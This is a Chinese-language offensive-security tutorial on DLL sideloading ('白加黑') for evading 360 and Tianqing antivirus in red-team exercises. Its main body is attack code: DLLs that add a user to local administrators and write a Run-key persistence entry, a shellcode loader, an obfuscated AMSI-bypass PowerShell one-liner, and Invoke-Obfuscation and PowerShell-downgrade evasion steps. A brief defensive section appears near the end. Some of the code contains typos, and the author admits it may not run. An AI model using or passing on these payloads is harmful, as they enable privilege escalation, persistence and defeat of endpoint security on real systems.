为什么我们需要白加黑这种攻击方法呢?答:降本增效,我们知道在以后AI+安全崛起的大背景下,社工将会成为攻防演练项目中,成本最低,效率最高的一种攻击方式,而这个时候"白加黑"的成本优势就体现的淋漓尽致了。
那什么是白加黑呢?答:白加黑就是通过DLL劫持在应用程序的导出目录中通过创建一个DLL并通过LoadLibrary函数(或者找一个已有的DLL注入恶意代码)来加载DLL文件。当目标尝试执行该文件(注意:不是执行受恶意的DLL文件)时,这个白文件会在应用程序加载时加载恶意的DLL。目标只要加载包含恶意代码的文件,攻击者就可以访问目标计算机了。
小提示:代码只是参考,不一定可以运行哟!!!
在攻防演练中通过运行恶意代码连接C2是最常用的手段,但是由于对抗程度的提升。以360、天擎为代表的杀毒软件针对信任链的检测,已经变得愈来愈成熟。这个时候我们要么花费巨额资金去购买"签名",要么针对杀软当中的白名单进行研究与利用。
这个时候有人会说,怎么去利用白名单呢?答:攻击者利用了微软Windows应用程序加载DLL文件的方式。这里我们可以理解为,攻击者通过利用"白加黑"这种攻击方法(即,利用白文件加载恶意的动态链接库 (DLL) )。当攻击者通过社工钓鱼的手段,使得目标下载恶意的文件到目标自己的计算机上,并点击运行白文件时,该文件会在运行时执行恶意DLL。
我们通过构造"白加黑"可以达到如下的目的:
运行文件,达到执行敏感命令的目的(eg:执行MS系列POC、将Mimikatz变为shellcode执行....)
运行文件,达到权限提升的目的(eg:添加net user创建新用户.....)
运行文件,达到权限维持的目的(eg:添加新的注册表)......
补充:360、天擎为代表的杀软也会对一些微软签名的Windows工具和.exe文件进行标记,例如:PuDump、Rundll32、Msbuild.....所以,攻击者需要实时更新自己的DLL白名单,不然免杀效果很可能失效。
/* DLL劫持运行 编译64位(Linux):i686_64-w64-mingw32-gcc -shared -o xxx.dll xxx.c */ #include <windows.h> #pragma comment (lib, "user32.lib") BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: MessageBox( NULL, "hello world!", MB_OK ); break; case DLLPROCESSDETACH: break; case DLLTHREADATTACH: break; case DLLTHREADDETACH: break; } return TRUE; }
也许最简单的纠正措施包括确保所有软件都安装在受保护的目录C:\Program Files
或C:\Program Files (x86)
. 如果无法在这些地方安装软件,那么下一个最简单的步骤就是保证只有管理用户对安装目录具有“创建”或“写入”权限,以防止攻击者安装恶意 DLL 从而破坏漏洞。
/* DLL权限提升 编译(Linux) 对于x64编译:x86_64-w64-mingw32-gcc evil.c -shared -o xxx.dll 对于x86编译:i686-w64-mingw32-gcc evil.c -shared -o xxx.dll */ #include <windows.h> BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: system("powershell.exe /k net localgroup administrators user /add"); break; case DLLPROCESSDETACH: break; case DLLTHREADATTACH: break; case DLLTHREADDETACH: break; } return TRUE; }
/* DLL权限维持 编译(Linux) 对于x64编译:x86_64-w64-mingw32-gcc evil.c -shared -o xxx.dll 对于x86编译:i686-w64-mingw32-gcc evil.c -shared -o xxx.dll */ #include <windows.h> BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: HKEY hkey = NULL; const char* exe = "C:\\xxx.exe"; LONG res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR)"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0 , KEY_WRITE, &hkey); if (res == ERROR_SUCCESS) { RegSetValueEx(hkey, (LPCSTR)"hack", 0, REG_SZ, (unsigned char*)exe, strlen(exe)); RegCloseKey(hkey); } break; case DLLPROCESSDETACH: break; case DLLTHREADATTACH: break; case DLLTHREADDETACH: break; } return TRUE; }
由上面的文章可以知道,主流的"白加黑"有三种不同的加载方式:
白执行黑DLL
白执行DLL加载shellcode
白加载shellcode
我们知道当程序被编译时,可执行文件的头文件(PE)会将导入表添入其中。而导入表的作用是记住需要从哪个DLL导入哪些函数,所以白文件每次执行程序时,链接器都知道该做什么并自动加载所有必需的库。这时我们就可以通过找到合适的DLL(即,拥有写入权限的),并对其进行修改(即,注入恶意的代码)为恶意的黑DLL。但是如果没有合适的可修改的黑DLL,我们又想在运行时候让白文件加载黑DLL,那么Windows API提供LoadLibrary()
和LoadLibraryEx()
函数就为我们提供了一个新的思路,那就是通过函数构造一个黑DLL,在将DLL的名称导入到导入表中使其在白文件运行的时候执行。以上两种不同的思路,导致了"白加黑"有了两种不同的思路,即可以修改原有的DLL,也可以创造一个黑DLL进行攻击。
这里补充一下,白加载shellcode就是我们所说的无文件落地免杀!我们首先讲一讲前面两个在国内流行的"白加黑"的方法吧,关于无文件落地下一段再说。
寻找合适的白文件(eg:)
>
提示:建议手工查找,脚本准确几率不高!!
检查文件夹权限,查看是否有写入权限,如果有可以考虑直接修改,反之则考虑通过LoadLibrary函数创建一个新的黑DLL
提示:我们知道Windows系统会按照预先确定的顺序查找相关库的位置。又因为DLL的执行顺序:加载应用程序的目录===>系统目录C:\Windows\System32===>系统目录C:\Windows\System===>Windows 目录 C:\Windows===>当前工作目录===>PATH 环境变量定义的目录;所以我们可以按照如下图所示的顺序进行DLL的搜索,并通过工具确定合适的DLL。
关于这个方法我们根据选择的白文件的DLL的特点,进行合理的修改!首先我们可以利用库引用在白文件的上下文中执行代码。如果文件允许LoadLibrary函数动态解析库的路径,那么该文件也会在当前目录中查找库DLL。我们通过将"白加黑"复制到具有写入权限的目录即可。如果我们需要创建自定义的黑DLL,那么白文件将加载黑DLL并执行恶意的代码。而且,我们寻找的白文件大多会有签名并通过了杀软的信任,使得我们的攻击成功几率大大增加。
黑DLL的代码演示(如下图所示):
/* DLL执行DLL的命令 编译64位(Linux):i686_64-w64-mingw32-gcc -shared -o xxx.dll xxx.c */ # include "pch.h" # include <stdlib.h> BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLLPROCESSATTACH: system("calc"); case DLLTHREADATTACH: case DLLTHREADDETACH: break; } return TRUE; }
不满足所有导出的 DLL 劫持,在 C/C++ 中编写有效负载 DLL 时,可能会劫持DllMain中的控制流。执行此操作时,没有必要枚举和满足所有需要的导出,即可能存在 DLL 没有任何导出并且只能通过 DllMain 入口点被劫持的情况。
我们也可以通过构造恶意的黑DLL,并在其中运行shellcode,达到命令执行的效果,来绕过360和天擎的检测。
黑DLL加载shellcode的代码演示(如下图所示):
/* DLL执行DLL的命令 编译64位(Linux):i686_64-w64-mingw32-gcc -shared -o xxx.dll xxx.c */ #include <winternl.h> #include <windows.h> #include <tlhelp32.h> // 加载的shellcoder(弹calc) 64-bit unsigned char payload[] = { 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x0, 0x0, 0x0, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0xf, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x2, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x1, 0xd0, 0x8b, 0x80, 0x88, 0x0, 0x0, 0x0, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x1, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x1, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, }; extern "A" __declspec(dllexport) void Go(void) { void * exec_mem; BOOL rv; HANDLE th; DWORD oldprotect = 0; unsigned int payload_len = sizeof(payload); exec_mem = VirtualAlloc(1, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); RtlMoveMemory(exec_mem, payload, payload_len); th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0); WaitForSingleObject(th, -1); } BOOL APIENTRY DllMain(HMODULE hModule, DWORD ulreason_forcall, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: break; } return TRUE; }
我们知道一旦启用Powershell,就会导致微软的Defender调用ASMI接口,进行检测。但是我们要注意,其实在启动Powershell的时候,asmi.exe就已经被注入到powershell.exe的进程当中了,所以Defender才可以通过ASMI的函数去检测恶意行为。又因为某些原因Powershell无文件落地免杀在国内其实不太流行,因为360\天擎一旦发现Powershell运行一些敏感函数就会标记直接拦截,导致执行失败,但是它却可绕过火绒等杀软。
Invoke-Obfuscation是一个兼容PowerShellv2.0+的PowerShell命令和脚本混淆器(github地址:https://github.com/danielbohannon/Invoke-Obfuscation),我们可以使用Invoke-Obfuscation来混淆/加密恶意的PowerShell脚本,使得PowerShell脚本逃避杀软的检测,原理是代码是在解释器中执行的,并很难检测代码本质上是否存在恶意代码。
第一步将涉及创建恶意PowerShell脚本并将其保存,沙箱检测如下所示:
创建并保存恶意PowerShell脚本后,打开混淆工具,我们可以通过在Invoke-Obfuscate提示符中运行以下命令来完成:
Import-Module .\Invoke-Obfuscation.psd1 Invoke-Obfuscation然后指定脚本路径,系统将提示您使用混淆方法菜单,如下所示:
这时,我们可以选择合适混淆方法,通过在Invoke-Obfuscate提示符中运行命令来选择此选项:
>
- 最后,输出混淆后的.ps1脚本
我们已经能够成功地混淆我们的恶意PowerShell脚本并逃避任何AV检测,或者您也可以使用Invoke-Obfuscate来混淆或编码单个PowerShell命令。建议有能力的进行二次开发,除去加密的特征值,免杀效果更好。
注意:使用的目标应该能够执行PowerShell脚本,否则,我们将无法执行混淆/编码的PowerShell脚本。
当然也可以利用
为了防止我们被edr发现,我们需要针对Powershell进行"降低版本"的操作,如果你有能力降级到 Powershell 2.0,这可以让你绕过该ConstrainedLanguage模式。虽然效果不错,但是如果edr对版本进行标记,依然会导致异常。
$ExecutionContext.SessionState.LanguageMode Powershell $ExecutionContext.SessionState.LanguageMode Powershell -version 2
小提示:Win10及以上版本可能需要安装Powershell 2版本才可以进行利用!
为了做好Powershell的免杀,我们针对内存规避有着以下的手段:
专注于内存操作,不将文件写入磁盘
通过利用各种Windows API将有效负载注入进程
然后在存储器中的单独线程中执行有效载荷
但是ASMI依然对Powershell的免杀有着致命的打击,所以需要我们针对Powershell的ASMI免杀做出特定的研究。
使用XOR等加密方法来绕过AMSI,并在运行时将字符串解码回内存
通过阻断ASMI.dll中AmsiScanBuffer()函数的扫描进程
修改注册表,将HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable的值更改为0
#Matt Graebers second Reflection method $wfSi=$null;$hlrajhy="$([char](30+53)+[cHaR]([byte]0x79)+[CHar]([BYtE]0x73)+[ChAR]([BYTe]0x74)+[Char](101*20/20)+[chaR](109*46/46)).$([CHaR](65+12)+[chAR](97+89-89)+[CHAR]([byTE]0x6e)+[cHAR]([bYte]0x61)+[char]([ByTe]0x67)+[ChAR](101)+[CHAR]([byTe]0x6d)+[cHaR]([bytE]0x65)+[chAr]([ByTe]0x6e)+[cHar](116)).$(('Ãutômát'+'íón').NOrmAlizE([chaR](33+37)+[cHAR](111)+[ChAR]([BYTE]0x72)+[CHAr](109+28-28)+[CHar](68)) -replace [chaR](92+71-71)+[cHar]([BYTe]0x70)+[ChAr]([Byte]0x7b)+[ChaR]([BYtE]0x4d)+[chaR]([BYtE]0x6e)+[ChaR](125+53-53)).$(('Âms'+'íUt'+'íls').NORMaLIze([cHAr](70)+[cHAR]([BYTE]0x6f)+[cHAr](24+90)+[chAR](22+87)+[cHar](68+36-36)) -replace [cHAR]([bYTe]0x5c)+[Char](112+50-50)+[chAr]([bYtE]0x7b)+[CHar](77)+[cHAr]([byTE]0x6e)+[CHar]([BYTe]0x7d))";$xrgohuphpvm="+('n'+'u'+'ã').NormALize([CHaR](70+47-47)+[ChaR](111)+[cHaR]([BYtE]0x72)+[cHAR]([ByTe]0x6d)+[CHAR](68*53/53)) -replace [CHAr]([BYTE]0x5c)+[chAr]([bYte]0x70)+[ChAr]([BYTe]0x7b)+[chaR](77)+[cHaR](110+87-87)+[chAR](125*25/25)";[Threading.Thread]::Sleep(1085);[Runtime.InteropServices.Marshal]::("$([cHAR]([ByTe]0x57)+[char](114)+[Char]([byte]0x69)+[ChAR](116)+[chAR]([byte]0x65)+[ChAR](73+49-49)+[chAr](110+78-78)+[chAR]([BYte]0x74)+[CHar]([BYTE]0x33)+[cHAR](50*13/13))")([Ref].Assembly.GetType($hlrajhy).GetField("$(('àmsìC'+'ôntex'+'t').norMAlizE([CHAR]([BYte]0x46)+[ChAr]([BYtE]0x6f)+[Char](114+75-75)+[CHAr]([ByTE]0x6d)+[CHaR]([byTE]0x44)) -replace [CHar]([BYtE]0x5c)+[cHar](112+67-67)+[CHaR](123+7-7)+[CHar]([BYTE]0x4d)+[ChAR]([byTe]0x6e)+[ChAR]([bYtE]0x7d))",[Reflection.BindingFlags]"NonPublic,Static").GetValue($wfSi),0x5762f72c);
网站链接:https://amsi.fail
通过Procmon进程监视器,显示实时⽂件系统、注册表和进程/线程活动,这⾥我们⽤来观察进程运⾏过程的DLL调⽤。通过设置不同的筛选方式去寻找可以加载的黑DLL。
我们通过运⾏xxx.exe白文件对比,寻找是否存在LoadLibrary函数,如果存在,我们可以直接构造一个恶意黑DLL。
反之,我们就需要劫持不存在的DLL。
https://github.com/cyberark/DLLSpy
DLLSpy.exe -x
-d:强制,扫描加载的模块。
-o:指定输出文件。
-s:静态扫描,寻找缺失的DLL和二进制文件中的DLL
-r <number>:递归扫描,number是递归的深度
https://github.com/dragoneeg/bDLL
执行:python DllJacking_Python.py 目标文件夹地址
虽然高效,误报高,准确度低!
也可以去网站搜索 (网站地址:https://hijacklibs.net/)
我也收集了关于白加黑的部分预防和检测方法,并分享在下文当中。该分享将白加黑攻击分解为软件开发级别的预防措施,并提出了针对端点用户级别的建议。如上提及的一些检测方法:
检查具有异常网络连接的进程,且给定进程的网络活动已变得与基线不同,则该进程可能已受到损害
DLL权限,针对具有LoadLibrary()函数的DLL进行限制
DLL白名单,即跟踪系统上使用的DLL的哈希值以识别差异
但是这些检测方法难以大范围实施,虽然可以利用,但是成本过于高昂。这就是为什么"白加黑"仍然有效并在攻防演练当中运用的原因。该恶意攻击方式存在的根本问题与软件开发人员密切相关。所以希望本文能被更多开发人员看见,已减少攻击者用其攻击手段。
参考文章如下:
https://attack.mitre.org/techniques/T1547/001/
https://www.cynet.com/blog/orion-threat-alert-qakbot-ttps-arsenal-and-the-black-basta-ransomware/